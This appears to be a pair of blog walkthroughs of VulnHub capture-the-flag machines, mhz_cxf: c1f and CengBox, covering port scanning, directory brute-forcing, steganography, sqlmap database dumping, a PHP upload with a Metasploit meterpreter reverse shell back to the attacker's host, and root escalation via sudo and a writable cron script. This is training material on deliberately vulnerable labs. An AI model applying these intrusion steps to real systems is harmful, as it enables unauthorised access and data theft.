Categories
CTF's Walkthroughs

mhz_cxf: c1f – CTF Walkthrough

I’ve been waiting for some new CTF’s to be published on VulnHub, but in the meantime, I decided to have a crack at mhz_cxf: c1f, published on the 24th April. This CTF is marked as ‘a piece of cake’, so I don’t expect any challenges here.

I’ve also recently installed BackBox Linux, as an alternative to Kali, so figured an easy CTF would be good to try it out.

If you are new to CTF exercises, perhaps this is a good one to get started? As this is rated as ‘Easy’, I’ll probably go into a bit more detail than normal, assuming you’re new to all of this.

The first thing to do is establish the IP address of the vulnerable machine. To do this, I scan the subnet using NMAP.

nmap -sP 192.168.56.0/24

This identified the CTF as having 192.168.56.102 as its IP address.

After getting the IP address, we can use NMAP to identify any open ports:

nmap -p- 192.168.56.102

You may find a few variations of how people run this command. The parameters/flags I’ve specified here make the scan a lot more broad and identify ports in unusual ranges.

This identified two open ports. SSH (Port 22), and a Web Server (Port 80).

Usually, if there’s a web server, that’s probably the best place to look initially. I fired up Firefox, and loaded the website.

This page is just the default page for an Apache installation on Ubuntu, so it doesn’t look like there’s anything on this website yet. Not on the front page at least, anyway.

There’s a handy tool called DIRB which can scan a website for common directories. I loaded up a terminal, and ran the DIRB tool:

dirb http://192.168.56.102

This didn’t reveal anything new/useful. By default, DIRB uses a ‘common’ wordlists, but you can change this so it uses a bigger wordlist:

dirb http://192.168.56.102 /usr/share/dirb/wordlists/big.txt

As I’m using BackBox Linux (rather than Kali), this is the location of the wordlists for DIRB. If I remember correctly though, it’s in the same location for Kali Linux, but you may need to adjust the path slightly if not.

The new wordlist was equally as useless though.

You can also get DIRB to append file extensions to the words from the wordlist. That’s probably necessary here (I hope so at least! This is marked as ‘Easy’). Let’s try .html, .php, .phtml, and .txt.

dirb http://192.168.56.102 /usr/share/dirb/wordlists/big.txt -X .php,.phtml,.txt,.html

This found a file that may be of use! notes.txt – I put this into Firefox, and here is what I saw:

Let’s have a look at remb.txt, and remb2.txt.

remb.txt:

remb2.txt has already been deleted, by the looks of it.

The contents of the first file looks like it may be a username/password combination. We know that this server has the SSH service running, so I loaded up my terminal, and connected to SSH.

ssh first_stage@192.168.56.102

After putting in the password, I connected and authenticated successfully.

When we have a shell, the next step is to work out how to elevate our privileges.

First, it’s useful to find out what commands we can run using the Sudo tool. Sudo is a utility that allows a user to run a command with the security context of another user (by default, the root user). You can identify which commands the current logged in user is allowed to run with Sudo by running the following command:

sudo -l

This prompted me for a password, but in this instance, we know what the user password is, so I put this in and ran the command.

I received a message back advising the current user wasn’t allowed to run a command using Sudo. It looks like we’ll need to find another way.

Another thing we can check for is binaries which have the SUID bit set. If a binary has the SUID bit set, its effective UID becomes the owner of the file, opposed to the user who is running it. Sometimes, we can abuse this.

find / -perm -u=s -type f 2>/dev/null

Naturally, there is going to be a lot of binaries listed here. So we need to look for things out of the ordinary. Identifying binaries that look out of the ordinary will come with experience. Out of this list, nothing catches my eye. I also searched for files with 0777 file permissions. Files with 777 permissions can be modified by anybody – this is sometimes helpful if we know a scheduled job being run by the root user is executing a file as we’d be able to modify that file and change what that user was executing.

find / -type f -perm 0777

This again though didn’t reveal anything of interest. I decided to have a look around the shell instead to see what I had access to.

I probably should have listed the contents of the directory I was in earlier, but oh well. I listed the directory contents, and saw a file ‘user.txt’ – when I ran the cat command on it, I was able to see the contents. Nothing useful here but worth mentioning nonetheless.

I navigated to the /etc directory and looked at the passwd file. In Linux, the passwd file contains a list of all the usernames on the server.

cd /etc
cat passwd

It looks like there is another user here ‘mhz_c1f’ – we may need to try and login as this user at some point before escalating our privileges to root.

I decided to see if I could access the users home folder.

cd /home
ls
cd mhz_c1f
ls
cd Paintings
ls

Looks like we are able to access their home folder, and there are some image files inside! I’ve recently done another CTF called DeathStar which involved a form of steganography. Steganography is a way to conceal data, text, or an image inside another file, such as an image. Perhaps there are some hidden messages in these files.

I went to my local BackBox terminal (outside of the SSH session), and used SCP to download these images to my local machine.

scp -r first_stage@192.168.56.102:/home/mhz_c1f .

Once the files were on my local machine, I used the steghide tool to identify if there was any steganography involved here.

steghide extract -sf filename.jpeg
This didn’t seem to work on this image. Let’s try another.
Here we go.

This extracted a file called remb2.txt! Let’s have a look at the contents.

Here we go. This looks like another username/password. Let’s try changing to this user in our SSH session.

su mhz_c1f

It worked! Let’s repeat the SUDO, SUID, and 0777 checks now that we’re logged in as a different user (see above). I initially repeated the SUDO check.

sudo -l

That’s it. This shows we can run “all” commands using SUDO. I can this command, and I was suddenly the root user:

sudo su -

I suppose this CTF is different, in the sense it isn’t a simulated/realistic hacking exercise, but is instead designed to take you through the different methods you might find useful in future (port scanning, using tools such as DIRB, steganography, and privilege escalation using sudo). I hope you found this walk-through useful.

Categories
CTF's Walkthroughs

CengBox – CTF Walkthrough

This post provides the steps on how to compromise the CTF CengBox.

Initial Analysis

Scan – NMAP

As always, I start off by doing an NMAP scan of the IP address to see what ports are open.

nmap -p- 192.168.56.126

This revealed two open ports. SSH and HTTP.

Checking out the website

I decided to have a look at the website initially.

The website didn’t really have anything immediately obvious that I could exploit. There were no login pages, and there were no forms I could submit. At this point, I decided to run the DIRB tool to identify common directories.

Scan – DIRB

dirb http://192.168.56.126

Surprisingly, this didn’t reveal anything of use. Any directories returned were either normal/non-suspicious, or were providing a 403 HTTP error.

DIRB has functionality which allows you to change the wordlist. Upon visiting /usr/share/dirb/wordlists, it revealed a number of other wordlists which may be of use, primarily big.txt.

Scan – DIRB (Extended word list)

I re-ran the DIRB command, but specified the big.txt file as the wordlist parameter.

dirb http://192.168.56.126 /usr/share/dirb/wordlists/big.txt

Result. This showed something that definitely looked a lot more interesting.

Unfortunately, the directory, and all sub directories DIRB found were returning 403 errors. But, we are definitely onto something here. There must be something we are missing.

As I found out, DIRB also has a feature where you can specify file extensions to be appended to the end of the search terms. Given this is an Ubuntu server (as identified from the error code screenshot above), this is most likely running PHP. I re-ran the DIRB command, but specified the PHP file extension, and restricted the search to the masteradmin directory.

Scan – DIRB (Specifying file extension)

dirb http://192.168.56.126/masteradmin /usr/share/wordlists/big.txt -X .php

This revealed a few more files of interest.

I initially tried ‘upload.php’ but it redirected me to login.php straight away. db.php was also returning no output.

Testing for SQL Injection vulnerabilities

I suspected an SQL injection vulnerability at this point. A useful way to test for SQL Injection vulnerabilities is to use a tool called Burpsuite, and sqlmap.

Burpsuite is a very useful tool that acts as a proxy server. Once you have loaded a Burpsuite session, you change the proxy settings of your browser to point to Burpsuite, and you’re then able to intercept your own traffic before it reaches the destination.

I loaded up Burpsuite, went to the proxy tab, and made sure that ‘Intercept’ was set to on.

Having then configured my web browser to point to Burpsuite, I attempted to login on the website with a random username/password.

As you can see, the request came up in Burpsuite straight away. With Burpsuite, you can export the request information into a text file by right clicking the request, and clicking copy to file.

Once the request information was in a text file, I used the sqlmap tool to check for SQL injection vulnerabilities.

sqlmap -r cengbox.txt

This revealed an SQL injection vulnerability with the username field!

Now that an SQL vulnerability was confirmed, I changed the command slightly to dump the contents of the database into a local directory.

sqlmap --dump -r cengbox.txt

This took a long time to run! It looked like this is exploiting some sort of time-based comparison.

Eventually, once it finished, it showed me a table on the database containing the admin username/password.

To my surprise, the password wasn’t hashed, and I was able to log straight in.

Once logged in, it looks like I have the ability to upload files.

I spent a while trying to upload various files and couldn’t work out why they weren’t uploading (or where they were uploading). Turns out my laptop screen is simply terrible and I couldn’t see the error message at the top of the page, advising the file extension wasn’t accepted. Note to self: buy a new laptop.

After uploading a file with the .ceng extension, it worked fine, and I managed to find my file in the uploads directory.

Uploading a shell

It looks like .ceng files execute PHP. Having confirmed this with my phpinfo file, I then tried to upload an exploit.

Metasploit is my favourite tool here to do this.

sudo msfconsole
use exploit/multi/script/web_delivery
set target 1
show payloads
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.56.111
run

Once run, it gives you a PHP command to run.

I extracted the eval() command and put it in a PHP file, and uploaded via the masteradmin interface. I visited the file in my browser, and then entered my meterpreter session.

sessions -i

This shows you the valid sessions. Once I saw the session number was 1, I ran this:

sessions -i 1

A few commands later, and I have my first foot in the door, and have my shell.

Root privilege escalation

The next step is to try and escalate privileges to a more privileged user (root).

One of the first things I usually do when I have a shell is check for binaries which have the SUID bit set. Binaries which have the SUID bit set execute the program as the user who owns the file, opposed to the user who is running it. This is a very common attack vector.

Checking for SUID Binaries

find / -perm -u=s -type f 2>/dev/null

A useful resource I often refer to is GTFOBins. This lists which binaries can be exploited if you can run them as sudo, or they have the SUID bit set. Unfortunately, it wasn’t of use on this occassion, but I thought I’d mention it anyway as it is a very useful resource if you haven’t heard of it before. It may help you in future.

The only binary that catches my eye here is /usr/bin/at. A quick google later, and it showed it can schedule commands to be run at a later time. I tried running this command:

How annoying! I can’t use it. It may come in handy though, so worth baring in mind.

I went to the /home directory, and found a user called cengbox. I tried the same password used to login to the admin panel to get to this user on shell (and it worked).

First flag

What now?

There is a useful tool called pspy. It can show scheduled cron jobs, even ones from other users. I used wget to get pspy onto the machine and then I executed it.

That’s an interesting script (/opt/md5check.py). Let us check it out.

Looking at the file permissions, it looks like we can write to it! It looks like the root user may be running this file on a cronjob so we should be able to exploit this.

I fired up metasploit again and a meterpreter session. This time though I set the payload as python, instead of PHP.

Within a minute or two, the cron job executed, and I had a root shell.

I really enjoyed this CTF. Thanks to CyberBot for a hint or two along the way! The CengBox CTF is available here.